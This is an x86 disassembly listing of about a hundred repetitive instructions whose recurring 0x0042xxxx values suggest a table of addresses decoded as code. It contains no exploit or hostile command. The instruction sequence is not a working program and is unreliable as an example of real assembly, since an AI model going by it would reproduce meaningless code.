add byte [eax], dl
cmpsb byte [esi], byte es:[edi]
inc edx
add byte [eax], bl
cmpsb byte [esi], byte es:[edi]
inc edx
add byte [ecx], ah
cmpsb byte [esi], byte es:[edi]
inc edx
add byte [ebp - 0x45ffbd5f], ah
cmpsb byte [esi], byte es:[edi]
inc edx
add byte [eax], al
mov al, byte [0xa6c40042]
inc edx
add byte [eax - 0x35ffbd57], dh
cmpsb byte [esi], byte es:[edi]
inc edx
add byte [ebx - 0x4fffbd54], ah
test eax, 0xacb60042
inc edx
add al, dl
lodsb al, byte [esi]
inc edx
add dh, dl
lodsb al, byte [esi]
inc edx
add byte [eax], al
mov al, byte [0xae980042]
inc edx
add ah, bh
mov bh, 0x42
add byte [eax + 0x760042b6], ah
mov dh, 0x42
add byte [esi - 0x4a], dh
inc edx
add dl, dl
mov dh, 0x42
add dh, bl
mov dh, 0x42
add ah, ch
mov dh, 0x42
add dh, ah
mov dh, 0x42
add ah, bh
mov bh, 0x42
add byte [edi], al
mov eax, 0xb8100042
inc edx
add ah, bh
mov bh, 0x42
add byte [edi], al
mov eax, 0xb6f60042
inc edx
add byte [eax], dl
mov bh, 0x42
add byte [ecx], ch
mov bh, 0x42
add byte [eax], dl
mov bh, 0x42
add byte [0x570042b7], dh
mov bh, 0x42
add ah, ah
mov ch, 0x42
add byte [ecx - 0x3dffbd49], al
mov bh, 0x42
add al, bl
mov bh, 0x42
add byte [eax - 0x3dffbd51], ah
mov bh, 0x42
add ch, dl
scasd eax, dword es:[edi]
inc edx
add byte [eax - 0x1affbd50], ah
scasd eax, dword es:[edi]
inc edx
add byte [eax - 0xaffbd50], ah
scasd eax, dword es:[edi]
inc edx
add byte [eax + 0x100042b0], ah
mov al, 0x42
add byte [eax + 0x100042b0], ah
mov al, 0x42
add byte [eax], dl
mov al, 0x42
add byte [eax], dl
mov al, 0x42
add byte [esi], dl
mov al, 0x42
add byte [esi], ah
mov al, 0x42
add byte [eax - 0x7cffbd50], ah
mov al, 0x42
add byte [edi + 0x3b0042b0], dh
mov ch, 0x42
add al, ch
mov al, 0x42
add byte [edx], ah
mov ch, 0x42
add byte [ecx], dl
mov cl, 0x42
add byte [ecx + esi*4 + 0x42], al
add byte [ecx - 0x4f], bl
inc edx
add byte [ecx + 0x380042b1], al
mov bl, 0x42
add ch, bh
mov ah, 0x42
add byte [eax], bh
mov bl, 0x42
add byte [eax], dl
mov ch, 0x42
add byte [edx], ah
mov ch, 0x42
add byte [eax], ch
mov ch, 0x42
add byte [ebx], bh
mov ch, 0x42
add byte [ecx], bh
mov ch, 0x42
add byte [ecx], bh
mov ch, 0x42
add byte [ecx], bh
mov ch, 0x42
add byte [ebx], bh
mov ch, 0x42
add byte [ebx - 0x5fffbd50], cl
mov al, 0x42
add byte [eax - 0x4fffbd50], dh
mov al, 0x42
add byte [edx - 0x4fffbd50], dh
mov al, 0x42
add al, dl
mov bh, 0x42
add al, dl
mov bh, 0x42
add dl, dl
mov bh, 0x42
add al, dl
mov bh, 0x42
add al, bl
mov ch, 0x42
add ah, ah
mov ch, 0x42
add byte [ebx - 0x49], al
inc edx
add byte [edi + esi*4 + 0x42], cl
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ebx - 0x41], cl
int3